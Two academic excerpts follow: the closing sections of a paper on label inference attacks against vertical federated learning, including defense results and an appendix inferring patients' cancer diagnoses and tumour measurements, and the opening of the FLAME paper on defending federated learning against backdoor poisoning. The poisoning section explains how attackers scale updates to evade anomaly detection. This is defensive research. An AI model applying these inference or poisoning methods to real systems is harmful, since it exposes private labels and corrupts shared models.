cause noise at this scale has a similar effect with adversarial
training [31] that makes the federated model learn a more
robust representation of the adversary’s data.

From Figure 5 (d)-(f), for gradient compression, we evalu-
ate its defense performance with different compression rates.
On CV datasets such as CIFAR-10 and BHI, gradient com-
pression can successfully mitigate label inference attacks, but
with the cost of significantly degrading the federated model’s
performance on the original task. For example, on BHI, when

Figure 5: Defense performance of four defense approaches
with different parameter settings against the active label in-
ference attack. (a)-(c): noisy gradients (NG), (d)-(f): gradient
compression (GC), (g)-(i): privacy-preserving deep learning
(PPDL) and (j)-(l): discreteSGD. The symbol ∞ in (j)-(l)
represents keeping gradients continuous, i.e., not applying
discreteSGD.

the compression rate is 0.9, both the F1 score of the adver-
sary’s inference performance and the federated model’s F1
score on the original task decrease by around 0.30. On dataset
with numerical and categorical features like Criteo, gradient
compression seems to have no apparent effect. As shown in
Figure 5 (e), both the federated model’s performance on the
original task and the attack performance have no significant
change as the compression rate varies from 0.1 to 0.9.

From Figure 5 (g)-(i), for privacy-preserving deep learning,
we evaluate its defense performance with different settings of
the hyperparameter θu. On all three datasets, the defense of
privacy-preserving deep learning can mitigate label inference
attacks with the hyperparameter θu set to 0.25 or lower. How-
ever, the degradation of the federated model’s performance
on the original task is also significant, which is different from
the results reported on HFL [43]. We believe that this is re-
lated to the different nature of HFL and VFL. As mentioned
in 6.1, VFL is more sensitive to modifications on the shared
gradients from the server to participants. This explains why
privacy-preserving deep learning might be a good defense for
HFL but not suitable for VFL.
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Table 6: Defenses against the direct label inference attack on
CIFAR-10.

Defense
Approach

Parameter Parameter
Set Value

Model
Accuracy

Attack
Accuracy

Noisy
Gradients

Noise
Scale

1e-4 0.8347 0.8063
1e-3 0.8318 0.4906
1e-2 0.7191 0.2452
1e-1 0.1000 0.1265

Gradient
Compression

Compression
Rate

75% 0.8248 0.9997
50% 0.8259 0.9931
25% 0.8049 0.9245
10% 0.1000 0.0058

Privacy-
preserving

Deep Learning
θu

0.75 0.8189 0.3904
0.50 0.8216 0.3891
0.25 0.1993 0.0972
0.10 0.1000 0.0430

Discrete
SGD N

24 0.8145 0.9763
18 0.7962 0.9330
12 0.7471 0.9399
6 0.6575 0.9087

We evaluate the defense performance of discreteSGD with
different settings of the hyperparameter N in Figure 5 (j)-(l).
The results are similar to the above three possible defenses.
On all the three datasets, as the hyperparameter N decreases
(the gradients become more discretized), both the attack per-
formance and the federated model’s performance on the origi-
nal task degrade significantly, which shows that discreteSGD
cannot effectively defend against the active label inference
attack. We believe that this is due to the inner nature of our la-
bel inference attacks. As our attacks extract information about
labels from a part of the federated model, i.e., one of the bot-
tom models, the attack performance is highly correlated to
how well the adversary’s bottom model is trained. However,
in spite of this inherent trade-off, discreteSGD seems to be
able to reduce the cost, i.e., the degradation of the federated
model’s performance on the original task. For example, on
CIFAR-10, assuming that the defense goal is to decrease the
adversary’s top-1 inference accuracy on the training/testing
dataset to around 0.2500; privacy-preserving deep learning
can achieve this goal with the cost that the federated model’s
top-1 accuracy on the original task degrades from 0.8139 to
around 0.4000. While for discreteSGD, the degradation is
from 0.8139 to around 0.6000. Although the cost is still high,
discreteSGD outperforms the above three defenses in this
aspect, showing that gradient discretization is possibly a more
promising defense against the label inference attacks.

Defense Against the Direct Label Inference Attack. We
evaluate the four defense approaches against the direct label
inference attack on CIFAR-10 (similar evaluation can be ex-
tended to other datasets). The results are reported in Table 6.
All the evaluated defense approaches except discreteSGD can
mitigate the direct label inference attack. This is as expected
because the direct label inference attack relies on the signs
of gradients, so any modification on the gradients’ signs, e.g.,

adding noise to flip the gradients’ signs and pruning some
gradients to zero, can effectively defend against this attack. In
our experiments, privacy-preserving deep learning achieves
the best defense performance since it degrades the top-1 ac-
curacy of the direct label inference attack from 1.0000 to
0.3891 without decreasing the federated model’s accuracy on
the original task. Gradient compression seems to have the
advantage of maintaining the performance of the original task.
However, gradient compression cannot effectively degrade
the attack performance, which is due to that it prefers to prune
gradients with small absolute values to zero, but the gradient
related to the ground truth label may not be included in these
small gradients. Noisy gradients can significantly mitigate the
label inference attack, since adding sufficient scale of noise
is likely to flip the signs of gradients. Its side effect is that
noise of an over large scale harms the performance of the
original task. Privacy-preserving deep learning combines gra-
dient compression and noisy gradients. As a result, with a
suitable scale of noise and compression rate, it can effectively
mitigate the direct label inference attack while maintaining
the performance of the original task. As for discreteSGD, it is
not effective against the direct label inference attack because
it hardly changes the signs of gradients.

Summary. We evaluate four mainstream defense approaches
including a customized version of signSGD that is popular in
the recent two years. The experiment results show that though
some of these defense approaches can effectively mitigate the
direct label inference attack, they are not effective against the
passive and active label inference attacks. However, actually,
even if the direct label inference attack is mitigated, it can
still infer the labels for a decent number of samples. With the
help of these inferred labels, the adversary can simultaneously
use the passive label inference attack to get a better attack
performance. Therefore, our label inference attacks reveal the
urgency of mitigating the label privacy risks in real-world
VFL applications.

7 Future Work

Evaluation on Other ML Models. This paper focuses on
VFL with DNNs as the ML model, while we have not evalu-
ated VFL built with other types of ML models, such as VFL
with logistic regression [7, 18, 28, 56], and VFL with gradi-
ent boosting tree models [9]. In addition, our experiments
are conducted on convolutional neural networks, fully con-
nected neural networks and transformers, but other types of
neural networks like graph neural networks are also used for
VFL [61]. VFL is a fast-developing research area both in
the academy and industry. More ML models and training
algorithms will be modified to serve VFL. Therefore, it is
interesting to evaluate the privacy and security risks of VFL
built with other ML models.

Towards Better VFL. As shown in Section 6, mainstream
defense strategies are not effective when faced with our label
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inference attacks against VFL. This calls for new defense
strategies designed for VFL. In addition, is there any other
privacy or security risk of the current VFL framework? How
to defend VFL against the possible information leakage and
security risks? These are open questions worth exploring.

8 Related Work

8.1 Information Leakage in FL
Prior works have proposed various attacks to exploit possible
data leakage in HFL, including membership inference attacks,
property inference attacks, class representative reconstruction
attacks, and dataset reconstruction attacks. Our label infer-
ence attacks are different from these attacks. First, our work
focuses on the data leakage in VFL, while to the best of our
knowledge, prior works focus on the data leakage in HFL.
Second, our work shows a new type of data leakage – label
leakage, while prior works focus on inferring membership,
sample property, and sample features.

Inferring Membership. Membership inference attacks aim
to infer whether a particular sample appears in the training
dataset [1, 38, 41]. Melis et al. [30] showed that in HFL, if
the federated model uses embedding layers for text data, the
curious server can infer whether a certain word appears in a
participant’s data by observing the non-zero gradients of the
embedding layer. Nasr et al. [33] demonstrated that an adver-
sarial participant in HFL can also infer the membership of
other participants by exploiting the privacy vulnerabilities of
the gradient descent algorithm, and the adversarial participant
can craft adversarial model updates to gain more information
about the membership of other participants’ datasets.

Inferring Class Representatives. Hitaj et al. [20] demon-
strated that an adversarial participant in HFL can use a gener-
ative adversarial network (GAN) to reconstruct the class rep-
resentatives of other participants, and by submitting malicious
model updates, an adversary can deceive other participants
into leaking more information about their data.

Inferring Properties. Melis et al. [30] demonstrated that
an adversarial participant in HFL can infer the properties of
other participants’ input samples by leveraging the exchang-
ing gradients, and the properties are not limited to be related
to the original task. For example, the original task is gender
classification, but the adversary can infer races of training
samples.

Reconstructing Training Samples. A more challenging at-
tack is to completely reconstruct training samples of partici-
pants in FL. Zhu et al. [62] showed that exchanging gradients
in collaborative learning can be exploited to do such an attack.
They assumed the server is curious about the data of partici-
pants, and showed that by optimizing dummy data to match
the gradients submitted by participants, the server can recon-
struct the exact data of every participant. Wang et al. [51]
demonstrated that an adversarial participant can use a GAN

with a multi-task discriminator to simultaneously discriminate
the participant identity of input samples and reconstruct the
samples of other participants.

8.2 Other Attacks Against FL

Backdoor Attacks. Backdoor attack, also known as trojan-
ing attack against ML [6, 17, 27, 36], is a hot research topic
in recent years. A trojaned ML model behaves normally with
normal input samples, but if the input sample has a certain
trojan trigger, the trojaned model will have abnormal behav-
iors. Bagdasaryan et al. [2] first showed that HFL faces the
danger of backdoor attacks: a malicious participant can trojan
the global model by scaling up model updates. Xie et al. [55]
considered the scenario where there are multiple compro-
mised adversarial participants, and proposed the distributed
backdoor attack (DBA) against HFL.

Byzantine Attacks. HFL also faces possible threats of byzan-
tine attacks. In HFL, one or more participants may submit
abnormal intermediate results to the server so that the server
cannot get a converged model [13].

8.3 Defense in FL
Mainstream defense approaches aiming at mitigating infor-
mation leakage from gradients includes adding noise to gradi-
ents [62], gradient compression [25], and randomly pruning
part of the gradients to zero [43]. Privacy-preserving deep
learning [43] is a defense approach combining all the three
mechanisms. However, our experiments in Section 6 show
that these defense approaches are not effective against our
passive and active label inference attacks. SignSGD [4] is a
recent defense for privacy enhancement in HFL. However, our
preliminary experiment shows that directly applying signSGD
to VFL is very likely to make a VFL model fail to converge
on the original task. Therefore, we design a customized ver-
sion of signSGD, named discreteSGD for VFL. Although the
cost (the degradation of the federated model’s performance)
is still high, discreteSGD does better than the above three de-
fenses, showing that gradient discretization is possibly a more
promising defense against our passive and active label infer-
ence attacks. Another line of works studied how to securely
select and aggregate the submits from the participants [35,58].
However, these works focus on defending against byzantine
and backdoor attacks in HFL, and are not suitable to defend
against our label inference attacks against VFL.

9 Conclusion

Most prior works on the privacy and security of FL focus on
HFL. However, as VFL is applied more and more widely in
industry, it is also urgent to evaluate the privacy and security
risks of VFL. To bridge this gap, we conduct the first investiga-
tion on the privacy risks in VFL. We reveal and shed lights on
the new and unique label leakage issue of VFL. As labels are
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likely to be highly sensitive information, e.g., whether some-
one has a disease, inferring labels can be a severe privacy
violation.

We design three kinds of label inference attacks covering
several practical settings of VFL. We also provide insights
into how the active attack affects the training of the vertical
federated model with visualization techniques.

Our experiments show that the proposed label inference
attacks are powerful against VFL on real-world large-scale
datasets. We also evaluate possible defenses including gra-
dient compression, noisy gradients, privacy-preserving deep
learning and discreteSGD. Though some of these defenses
can effectively mitigate the threat of the direct label inference
attack, they are not effective against our passive and active
label inference attacks. This should motivate future works on
better defenses.
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Algorithm 2 Training VFL with model splitting
Require: Top model parameters θtop, bottom model parame-

ters of K participants θ1,θ2, ...,θK , learning rate η, ground-
truth label y.

Server executes:
Initialize θtop and θ1,θ2, ...,θK
while stopping epoch not met do

for each batch b of sample Ids do
for k = 1 to K do

ok←ParticipantForwardProp(θk,b)
end for
oall ← Concat(o1, ...,ok)

. concatenating bottom model outputs
o f inal ← θtop(oall)
L← LossFunc(o f inal ,y)
gtop← ∂L

∂θtop
. updating top model

θtop← θtop−η ·gtop
for k = 1 to K do

gk← ∂L
∂ok

ParticipantBackProp(θk,gk,ok)
end for

end for
end while

ParticipantForwardProp(θ,b):
return bottom model forward outputs θ(b)

ParticipantBackProp(θ,go,o):
g← go · ∂o

∂θ

θ← θ−η ·g . updating bottom model

[62] L. Zhu, Z. Liu, and S. Han. Deep leakage from gradients.
In NeurIPS, 2019.

Appendix

A Training Algorithms of VFL

The training algorithms of VFL with/without model splitting
are shown in Algorithm 2 and Algorithm 3, respectively.

B The Customized MixMatch

As discussed in Section 4, in order to make MixMatch appli-
cable to tasks beyond the CV domain, we use a customized
version of MixMatch without data augmentation. The algo-
rithm of the customized MixMatch is shown in Algorithm 4,
where MixUp is a data processing algorithm described in
Algorithm 5, and Sharpen is the sharpening function used
to reduce the entropy of the label distribution. The function
Sharpen is defined as:
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Algorithm 3 Training VFL without model splitting
Require: bottom model parameters of K participants

θ1,θ2, ...,θK , learning rate η, ground-truth label y.

Server executes:
Initialize θ1,θ2, ...,θK
while stopping epoch not met do

for each batch b of sample Ids do
for k = 1 to K do

ok←ParticipantForwardProp(θk,b)
end for
osum← ∑k ok

. aggregating bottom model outputs
L← LossFunc(osum,y)
for k = 1 to K do

gk← ∂L
∂ok

ParticipantBackProp(θk,gk,ok)
end for

end for
end while

ParticipantForwardProp(θ,b):
return bottom model forward outputs θ(b)

ParticipantBackProp(θ,go,o):
g← go · ∂o

∂θ

θ← θ−η ·g . updating bottom model

Sharpen(p,T )i :=
p

1
T
i

∑
L
j=1 p

1
T
j

(4)

where p is the discrete distribution, and T is a hyperparameter.
In each training iteration, the customized MixMatch gen-

erates a collection of processed labeled examples X ′ and a
collection of processed unlabeled examples with guessed la-
bels U′. Then, it uses X ′ and U′ to separately compute the
labeled loss term LX and unlabeled loss term LU :

LX =
1
|X ′| ∑

x,p∈X ′
CE(p, pmodel(y | x;θ)) (5)

LU =
1

N|U′| ∑
u,q∈U′

‖q− pmodel(y | u;θ)‖2
2 (6)

where CE(p,q) is the cross-entropy between distributions p
and q, and N is the number of classes. Finally, the combined
loss is computed as:

L = LX +λULU (7)

where λU is hyperparameters balancing the importance of
labeled/unlabeled data. After obtaining the combined loss,
the neural network model can be updated using backward
propagation.

Algorithm 4 The customized MixMatch. MixMatch takes a
batch of labeled data X and a batch of unlabeled data U, then
produces a collection of processed labeled examples X ′ and
a collection of processed unlabeled examples with guessed
labels U′.

Input: Batch of labeled examples and their one-hot labels
X =

(
(xb, pb);b ∈ (1, ...,B)

)
, batch of unlabeled examples

U =
(
ub;b ∈ (1, ...,B)

)
, sharpening temperature T , Beta

distribution parameter α for MixUp.
for b = 1 to B do

qb = pmodel(y | ub;θ)
qb = Sharpen(qb,T )

end for
Û =

(
(ub,qb);b ∈ (1, . . . ,B)

)
W = Shuffle

(
Concat(X ,Û)

)
X ′ =

(
MixUp(Xi,Wi); i ∈ (1, . . . , |X |)

)
. Apply MixUp to labeled data and entries from W

U′ =
(
MixUp(Ûi,Wi+|X |); i ∈ (1, . . . , |Û|)

)
. Apply MixUp to unlabeled data and the rest of W

return X ′,U′

Algorithm 5 MixUp. MixUp takes two samples with their
corresponding labels probabilities (x1, p1),(x2, p2), and pro-
duces a “mixed” sample with its “mixed” labels probabilities
x′, p′.

Input: Two samples with their corresponding labels proba-
bilities (x1, p1),(x2, p2), Beta distribution parameter α.
λ∼ Beta(α,α)
λ′ = max(λ,1−λ)
x′ = λ′x1 +(1−λ′)x2
p′ = λ′p1 +(1−λ′)p2
return x′, p′

C Details About Datasets

Here is the detailed introduction of all the six datasets used
in this paper, including Criteo, Yahoo Answers, CINIC-10,
CIFAR-10, CIFAR-100 and BHI.

CIFAR-10 and CIFAR-100. CIFAR-10 [22] is a classic
dataset built for image classification. It consists of 10 classes
and 60,000 images in the size of 32×32 pixels. CIFAR-100
has the same size as CIFAR-10 but it has 100 classes (600 im-
ages each). Following the common practice of using CIFAR-
10 or CIFAR-100, we take 50,000 samples as the training
dataset and other 10,000 as the test dataset.

CINIC-10. CINIC-10 [11] is an extension of CIFAR-10 via
the addition of down sampled ImageNet images, whose name
means “CINIC-10 is not ImageNet nor CIFAR-10”. It consists
of 10 classes and 270,000 images (4.5 times of CIFAR-10)
in the size of 32×32 pixels. Following the common practice
of using CINIC-10, we take 180,000 samples as the training
dataset and other 90,000 as the test dataset.

Criteo. Criteo [23] contains 7 days of click-through data
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Table 7: Default settings for key parameters.
(a) Parameters of MixMatch.

Parameter Description Value

λu Label guessing parameter 50
T Sharpening parameter 0.8

(b) Parameters of the malicious local optimizer.

Parameter Description Value

β Momentum parameter 0.9
γ Resetting parameter 1.0

rmax Maximum acceleration rate 5.0
rmin Minimum acceleration rate 1.0

shared by Criteo Labs, which is widely used for CTR predic-
tion benchmarking (given a user and the pages he/she visited,
predict whether he/she will click on a given ad). It contains 26
anonymous categorical features and 13 continuous features.
The 39 features are projected into a hash space of 213 dimen-
sions before sent to the federated model. For simplification,
we randomly select 80,000 samples as the training dataset
and 20,000 as the test dataset.
Yahoo Answers. Yahoo Answers [39] is a dataset for text
classification tasks, which involves 10 classes (topics) such
as “Society & Culture”, “Science & Mathematics”, “Health”,
“Education & Reference”, etc. Each class contains 140,000
training samples and 6,000 testing samples. For simplification,
we take 5,000 training samples and 2,000 testing samples for
each class.
Breast Histopathology Images Dataset (BHI). Invasive
Ductal Carcinoma (IDC) is the most common subtype of
all breast cancers [10]. Breast Histopathology Images Dataset
(BHI) [32] is used for a two-class classification task which
classifies a mount slide image patch as IDC negative or IDC
positive. The dataset consists of 277,524 mount slide image
patches (198,738 IDC negative and 78,786 IDC positive) of
breast cancer specimens. All the mount slide image patches
have a size of 50×50 pixels and are marked with which pa-
tient they belong to. We use 80% of the samples as the training
dataset and the rest as the test dataset.

D Parameter Settings

In experiments, the default parameters of the semi-supervised
learning algorithm MixMatch are listed in Table 7(a). For
MixText, we use the parameter settings in [8]. The default
parameters of the malicious local optimizer are listed in Ta-
ble 7(b).

E Further Exploiting the Inferred Labels

In real-world scenarios, correlated features are quite common,
thus the leakage of one private feature may cause the leakage

of another private feature. We conduct an experiment to show
that the adversary can take advantage of the inferred labels
to infer more private information on a real-world medical
dataset. More details about this experiment can be found in
the supplementary material [14].

Dataset Setup. The experiment is conducted on the Breast
Cancer Wisconsin (BCW) dataset [49], which consists of 32
features of breast mass taken from 569 patients. We randomly
select 426 samples as the training dataset and the remaining
143 samples as the testing dataset. The label is whether a
patient suffers from malignant breast cancer tumor, denoted
as “diagosis”. The adversary is assigned with 15 features,
denoted as features 1 - 15, while the benign participant is
assigned with another 16 features, denoted as features 16 - 31.
The remaining 32nd feature is “radius mean”. The adversary
has auxiliary labeled data. Specifically, from the 426 samples
in the training dataset, the adversary knows “diagnosis” of 40
samples, and “radius mean” of 40 samples.

Threat Model. The adversary and the benign participant
jointly learn a VFL model to predict the label “diagosis”. The
adversary intends to infer “diagosis” by using the passive
label inference attack with the auxiliary data, i.e., 40 samples
labeled with “diagnosis”. Then the adversary further exploits
“diagosis” as an extra feature, together with his/her own fea-
tures 1 - 15, to train an inference model with the purpose of
inferring another feature of a patient – “radius mean”. As
the adversary has 40 auxiliary samples labeled with “radius
mean”, he/she can train the inference model in a supervised
manner.

Model Architecture. We use the 3-layer fully connected
neural network for both the bottom models and the top model.

Experiment Results and Analysis. The VFL model
achieves a top-1 accuracy of 0.9510 on the testing dataset.
With our passive label inference attack, the adversary achieves
a top-1 inference accuracy of 0.8632 for the label “diagnosis”.
Then, the adversary trains a model using the 15 features he/she
owns to infer the unknown feature “radius mean” in a super-
vised manner. The results show that the adversary achieves
0.6443 top-1 inference accuracy among the 426 samples in the
training dataset. Further experiment shows that if the adver-
sary uses the inferred “diagnosis” as an extra feature, he/she
will achieve a top-1 inference accuracy of 0.7237. Compared
with 0.6443, the boost is significant, which shows that the
adversary can infer more private information by exploiting
the inferred labels.

Conclusion. To sum up, our label inference attacks not only
demonstrate the threat of private label leakage in real-world
VFL scenarios, but also reveal that the leaked labels can cause
even further privacy leakages.
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Abstract

Federated Learning (FL) is a collaborative machine learning
approach allowing participants to jointly train a model with-
out having to share their private, potentially sensitive local
datasets with others. Despite its benefits, FL is vulnerable to
so-called backdoor attacks, in which an adversary injects ma-
nipulated model updates into the federated model aggregation
process so that the resulting model will provide targeted false
predictions for specific adversary-chosen inputs. Proposed
defenses against backdoor attacks based on detecting and
filtering out malicious model updates consider only very spe-
cific and limited attacker models, whereas defenses based on
differential privacy-inspired noise injection significantly dete-
riorate the benign performance of the aggregated model. To
address these deficiencies, we introduce FLAME, a defense
framework that estimates the sufficient amount of noise to be
injected to ensure the elimination of backdoors. To minimize
the required amount of noise, FLAME uses a model cluster-
ing and weight clipping approach. This ensures that FLAME
can maintain the benign performance of the aggregated model
while effectively eliminating adversarial backdoors. Our eval-
uation of FLAME on several datasets stemming from appli-
cation areas including image classification, word prediction,
and IoT intrusion detection demonstrates that FLAME re-
moves backdoors effectively with a negligible impact on the
benign performance of the models.

1 Introduction
Federated learning (FL) is an emerging collaborative machine
learning trend with many applications, such as next word
prediction for mobile keyboards [39], medical imaging [49],
and intrusion detection for IoT [44] to name a few. In FL,
clients locally train models based on local training data and
then provide these model updates to a central aggregator who
combines them into a global model. The global model is then
propagated back to the clients for the next training iteration.

∗Emails: {ducthien.nguyen, ahmad.sadeghi}@trust.tu-darmstadt.de

FL promises efficiency and scalability as the training is
distributed among many clients and executed in parallel.
In particular, FL improves privacy by enabling clients to
keep their training data locally [38]. Despite its benefits,
FL has been shown to be vulnerable to so-called poisoning
attacks where the adversary manipulates the local models
of a subset of clients participating in the federation so that
the malicious updates get aggregated into the global model.
Untargeted poisoning attacks merely aim at deteriorating
the performance of the global model and can be defeated by
validating the performance of uploaded models [12]. In this
paper, we therefore focus on the more challenging problem
of backdoor attacks [7, 45, 57, 59], i.e., targeted poisoning
attacks in which the adversary seeks to stealthily manipulate
the resulting global model in a way that attacker-controlled
inputs result in incorrect predictions chosen by the adversary.
Deficiencies of existing defenses. Existing defenses against
backdoor attacks can be roughly divided into two cate-
gories: The first one comprises anomaly detection-based ap-
proaches [4,9,22,51] for identifying and removing potentially
poisoned model updates. However, these solutions are effec-
tive only under very specific adversary models, as they make
detailed assumptions about the attack strategy of the adversary
and/or the underlying distribution of the benign or adversarial
datasets. If these very specific assumptions do not hold, the
defenses may fail. The second category is inspired by differen-
tial privacy (DP) techniques [7,56], where individual weights1

of model updates are clipped to a maximum threshold and
random noise is added to the weights for diluting/reducing
the impact of potentially poisoned model updates on the ag-
gregated global model. In contrast to the first category, DP
techniques [7,56] are applicable in a generic adversary model
without specific assumptions about adversarial behavior and
data distributions and are effective in eliminating the impact
of malicious model updates. However, straightforward ap-
plication of DP approaches severely deteriorates the benign

1Parameters of neural network models typically consist of ’weights’ and
’biases’. For the purposes of this paper, however, these parameters can be
treated identically and we will refer to them as ’weights’ for brevity.
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performance of the aggregated model because the amount of
noise required to ensure effective elimination of backdoors
also results in significant modifications of individual weights
of benign model updates [7, 57].

In this paper, we develop a resilient defense against back-
doors by combining the benefits of both defense types without
suffering from the limitations (narrow attacker model, assump-
tions about data distributions) and drawbacks (loss of benign
performance) of existing approaches. To this end, we intro-
duce an approach in which detection of anomalous model
updates and tuned clipping of weights are combined to mini-
mize the amount of noise needed for backdoor removal of the
aggregated model while preserving its benign performance.
Our Goals and Contributions. We present FLAME, a re-
silient aggregation framework for FL that eliminates the im-
pact of backdoor attacks while maintaining the benign per-
formance of the aggregated model. This is achieved by three
modules: DP-based noising of model updates to remove back-
door contributions, automated model clustering approach to
identify and eliminate potentially poisoned model updates,
and model weight clipping before aggregation to limit the
impact of malicious model updates on the aggregation result.
The last two modules can significantly reduce the amount of
random noise required by DP noising for backdoor elimina-
tion. In particular, our contributions are as follows:

• We present FLAME, a defense framework against back-
door attacks in FL that is capable of eliminating back-
doors without impacting the benign performance of the
aggregated model. Contrary to earlier backdoor defenses,
FLAME is applicable in a generic adversary model, i.e.,
it does not rely on strong assumptions about the attack
strategy of the adversary, nor about the underlying data
distributions of benign and adversarial datasets (§4.1).

• We show that the amount of required Gaussian noise
can be radically reduced by: a) applying our clustering
approach to remove potentially malicious model updates
and b) clipping the weights of local models at a proper
level to constrain the impact of individual (especially
malicious) models on the aggregated model. (§4.3)

• We provide a noise boundary proof for the amount of
Gaussian noise required by noise injection (inspired by
DP) to eliminate backdoor contributions (§5).

• We extensively evaluate our defense framework on real-
world datasets from three very different application areas.
We show that FLAME reduces the amount of required
noise so that the benign performance of the aggregated
model does not degrade significantly, providing a crucial
advantage over state-of-the-art defenses using straight-
forward injection of DP-based noise (§7).

As an orthogonal aspect, we also consider how the privacy of
model updates against an honest-but-curious aggregator can
be preserved and develop a secure multi-party computation

approach that can preserve the privacy of individual model
updates while realizing our backdoor defense approach (§8).

2 Background and Problem Setting
2.1 Federated Learning
Federated Learning [38, 50] is a concept for distributed ma-
chine learning that links n clients and an aggregator to col-
laboratively build a global model G. In a training iteration
t ∈ {1, . . . ,T}, each client i ∈ {1, . . . ,n} locally trains a local
model Wi with p parameters (indicating both weights and
biases) w1

i , . . . ,w
p
i based on the previous global model Gt−1

using its local data Di and sends it to the aggregator which
aggregates the received models Wi into the global model Gt .

Several aggregation mechanisms have been proposed re-
cently: 1) Federated Averaging (FedAvg) [38], 2) Krum [9],
3) Adaptive Federated Averaging [42], and 4) Trimmed mean
or median [60]. Although we evaluate FLAME’s effective-
ness on several aggregation mechanisms in §7.1, we generally
focus on FedAvg in this work as it is commonly applied
in FL [21, 28, 39, 44, 47, 50, 54] and related work on back-
door attacks [7, 22, 51, 57, 59]. In FedAvg, the global model
is updated by averaging the weighted models as follows:
Gt = Σn

i=1
si×Wi/s, where si = ∥Di∥,s = Σn

i=1si. However, in
practice, a malicious client might provide falsified informa-
tion about its dataset size (i.e., a large number) to amplify
the relative weight of its updates [57]. Previous works often
employed equal weights (si = 1/n) for the contributions of all
clients [7, 51, 59]. We adopt this approach in this paper, i.e.,
we set Gt = Σn

i=1
Wi/n. Further, other state-of-the-art aggrega-

tion rules, e.g., Krum [9], Adaptive Federated Averaging [42],
and Trimmed mean or median [60] also do not consider the
sizes of local training datasets by design.

2.2 Backdoor Attacks on Federated Learning
In backdoor attacks, the adversary A manipulates the local
models Wi of k compromised clients to obtain poisoned mod-
els W ′i that are then aggregated into the global model Gt and
thus affect its properties. In particular, A wants the poisoned
model G′t to behave normally on all inputs except for spe-
cific attacker-chosen inputs x ∈ IA (where IA denotes the
so-called trigger set) for which attacker-chosen (incorrect)
predictions should be output. Figure 1 shows common tech-
niques used in FL backdoor attacks, including 1) data poison-
ing, e.g., [45,51,59], where A manipulates training datasets of
models, and 2) model poisoning, e.g., [7, 57] where A manip-
ulates the training process or the trained models themselves.
Next, we will briefly discuss these attack techniques.
Data Poisoning. In this attack, A adds manipulated data
DA to the training datasets of compromised clients i by flip-
ping data labels, e.g., by changing the labels of a street sign
database so that pictures showing a 30 km/h speed limit
are labeled as 80 km/h [51], or, by adding triggers into data
samples (e.g., a specific pixel pattern added to images [59])
in combination with label flipping. We denote the fraction
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Figure 1: An overview of backdoor attacks.

of injected poisoned data DA
i in the overall poisoned train-

ing dataset D′i of client i as Poisoned Data Rate (PDR), i.e.,
PDRi = |D

A
i |/|D′i|.

Model Poisoning. This attack technique requires that A can
fully control a number of clients. A poisons the training
datasets of these clients and manipulates how they execute
the training process by modifying parameters and scaling
the resulting model update to maximize the attack impact
while evading the aggregator’s anomaly detector [7, 57]. This
is done by (1) scaling up the weights of malicious model
updates to maximize attack impact (e.g., model-replacement
attack [7], or, projected gradient descent (PGD) attack with
model replacement [57]), or, scaling down model updates to
make them harder to detect (e.g., train-and-scale [7] ) and
(2) constraining the training process itself to minimize the
deviation of malicious models from benign models to evade
anomaly detection (e.g., constrain-and-scale attack [7]).

2.3 Adversary Goals and Capabilities
The goals of the adversary are two-fold:

Impact: The adversary A aims to manipulate the global
model G so that the modified model G′ provides incorrect pre-
dictions f (G′,x) = c′ ̸= f (G,x) for any inputs x ∈ IA , where
IA is the so-called trigger set consisting of specific attacker-
chosen inputs and c′ denotes the incorrect prediction chosen
by the adversary.

Stealthiness: To make the poisoned model G′ hard to detect
by aggregator A, it should closely mimic the behavior of G
on all other inputs not in IA , i.e.:

f (G′,x) =
{

c′ ̸= f (G,x) ∀x ∈ IA
f (G,x) ∀x /∈ IA

(1)

Additionally, to make poisoned models as indistinguishable
as possible from benign models, the distance (e.g., euclidean)
between a poisoned model W ′ and a benign model W must be
smaller than a threshold η denoting the distinction capability
of the anomaly detector of aggregator A, i.e., dist(W,W ′)< η.
The adversary can estimate this distance by comparing the
local malicious model to the global model or to a local model
trained on benign data.

Adversarial Capabilities. In this paper, we make no spe-
cific assumptions about the adversary’s behavior. We assume

that the adversary A has full control over k < n
2 clients and

their training data, processes, and parameters [7, 59]. We de-
note the fraction of compromised clients as Poisoned Model
Rate PMR = k

n . Furthermore, A has full knowledge of the
aggregator’s operations, including potentially applied back-
door defenses. However, A has no control over any processes
executed at the aggregator nor over the honest clients.

2.4 Preliminaries
HDBSCAN [11] is a density-based clustering algorithm
that uses the distance of data points in n-dimensional space
to group data points that are located near each other together
into a cluster. Hereby the number of clusters is determined
dynamically. Data points that do not fit to any cluster are
considered outliers. However, while HDBSCAN’s predeces-
sor DBSCAN [19] uses a predefined maximal distance to
determine whether two points belong to the same cluster,
HDBSCAN determines this maximal distance for each clus-
ter independently, based on the density of points. Thus, in
HDBSCAN, neither the maximal distance nor the total num-
ber of clusters need to be predefined.
Differential Privacy (DP). DP is a privacy technique that
aims to ensure that the outputs do not reveal individual data
records of participants. DP is formally defined as follows:

Definition 1 ((ε,δ)-differential privacy). A randomized al-
gorithm M is (ε,δ)-differentially private if for any datasets
D1 and D2 that differ on a single element, and any subset of
outputs S ∈ Range(M ), the following inequality holds:

Pr[M (D1) ∈ S ]≤ eε ·Pr[M (D2) ∈ S ]+δ.

Here, ε denotes the privacy bound and δ denotes the proba-
bility of breaking this bound [18]. Smaller values of ε and
δ indicate stronger privacy. A commonly used approach to
enforce differential privacy is adding random Gaussian noise
N(0,σ2) to the output of the algorithm [3, 18].

3 Problem Setting and Objectives
Backdoor Characterization. Following common practice
in FL-related papers (e.g., [7, 12, 22]), we represent Neural
Networks (NNs) using their weight vectors, in which the
extraction of weights is done identically for all models by
flattening/serializing the weight/bias matrices in a predeter-
mined order. Figure 2 shows an abstract two-dimensional
representation of the weight vectors of local models com-
pared to the global model Gt−1 of the preceding aggregation
round. Each model Wi can be characterized with two factors:
direction (angle) and magnitude (length) of its weight vector
(w1,w2, . . . ,wp). The angle between two updates Wi and Wj
can be measured, e.g., by using the cosine distance metric ci j
as defined in (2) while their magnitude difference is measured
by the L2-norm ei j as defined in (3).

ci j = 1−
WiWj

∥Wi∥
∥∥Wj

∥∥ = 1−
∑

p
k=1 wk

i wk
j√

∑
p
k=1(w

k
i )

2
√

∑
p
k=1(w

k
j)

2
(2)
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Figure 2: Weight vectors of benign and backdoored models.
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∥∥Wi−Wj

∥∥=

√
p

∑
k=1

(wk
i −wk

j)
2 (3)

Benign and backdoored local models are shown in blue and
red colors and are labeled with Wi or W ′i , respectively. Note
that the benign models are typically not identical due to the
potentially partially non-iid nature of their training data.

The impact of the adversarial goal (injection of a backdoor)
causes a deviation in the model parameters that manifests
itself as a difference in the direction and/or magnitude of the
backdoored model’s weight vector in comparison to benign
models, e.g., the deviations among local models and to the
global model Gt−1 of the previous aggregation round. Since
the adversary has full control over the training process of
